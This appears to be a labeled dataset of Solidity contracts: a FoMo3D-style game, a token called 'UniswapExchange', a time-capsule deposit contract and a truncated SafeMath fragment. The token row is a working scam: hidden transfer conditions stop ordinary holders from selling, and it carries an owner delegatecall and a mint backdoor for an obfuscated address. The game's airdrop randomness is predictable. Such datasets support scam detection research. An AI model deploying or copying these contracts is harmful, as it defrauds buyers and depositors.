plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
shareCom.transfer((_com / 2));
admin.transfer((_com / 2));
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
emit F3Devents.onEndRound
(
_rID,
plyr_[_winPID].addr,
plyr_[_winPID].name,
_win,
_res
);
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _rndInc = rndInc_;
if(round_[_rID].pot > rndLimit_)
{
_rndInc = _rndInc / 2;
}
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 10;
uint256 _p3d;
if (address(admin).call.value((_com / 2))() == false)
{
_p3d = _com / 2;
_com = _com / 2;
}
if (address(shareCom).call.value((_com / 2))() == false)
{
_p3d += (_com / 2);
_com = _com.sub(_com / 2);
}
_p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
uint256 _amount = _p3d.sub(_potAmount);
shareCom.transfer((_amount / 2));
admin.transfer((_amount / 2));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
returns(uint256)
{
uint256 _addP3d = 0;
uint256 _aff1 = _eth / 10;
uint256 _aff2 = _eth / 20;
uint256 _aff3 = _eth / 34;
groupCut.transfer(_aff1);
if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != ''))
{
plyr_[_pID].laffID = _affID;
plyr_[_affID].aff = _aff2.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff2, now);
uint256 _secLaff = plyr_[_affID].laffID;
if((_secLaff != 0) && (_secLaff != _pID))
{
plyr_[_secLaff].aff = _aff3.add(plyr_[_secLaff].aff);
emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff3, now);
} else {
_addP3d = _addP3d.add(_aff3);
}
} else {
_addP3d = _addP3d.add(_aff2);
}
return(_addP3d);
}
function getPlayerAff(uint256 _pID)
public
view
returns (uint256,uint256,uint256)
{
uint256 _affID = plyr_[_pID].laffID;
if (_affID != 0)
{
uint256 _secondLaff = plyr_[_affID].laffID;
if(_secondLaff != 0)
{
uint256 _thirdAff = plyr_[_secondLaff].laffID;
}
}
return (_affID,_secondLaff,_thirdAff);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(_eth.mul(29) / 100);
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
uint256 laffID;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,696 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,191 |
pragma solidity ^0.4.17;
contract Ownable {
address public Owner;
function Ownable() { Owner = msg.sender; }
modifier onlyOwner() {
if( Owner == msg.sender )
_;
}
function transferOwner(address _owner) onlyOwner {
if( this.balance == 0 ) {
Owner = _owner;
}
}
}
contract TimeCapsuleEvent is Ownable {
address public Owner;
mapping (address=>uint) public deposits;
uint public openDate;
event Initialized(address indexed owner, uint openOn);
function initCapsule(uint open) {
Owner = msg.sender;
openDate = open;
Initialized(Owner, openDate);
}
event Deposit(address indexed depositor, uint amount);
event Withdrawal(address indexed withdrawer, uint amount);
function() payable { deposit(); }
function deposit() payable {
if( msg.value >= 0.25 ether ) {
deposits[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
} else throw;
}
function withdraw(uint amount) onlyOwner {
if( now >= openDate ) {
uint max = deposits[msg.sender];
if( amount <= max && max > 0 ) {
msg.sender.send( amount );
Withdrawal(msg.sender, amount);
}
}
}
function kill() onlyOwner {
if( this.balance == 0 )
suicide( msg.sender );
}
} | 0 | 1,154 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
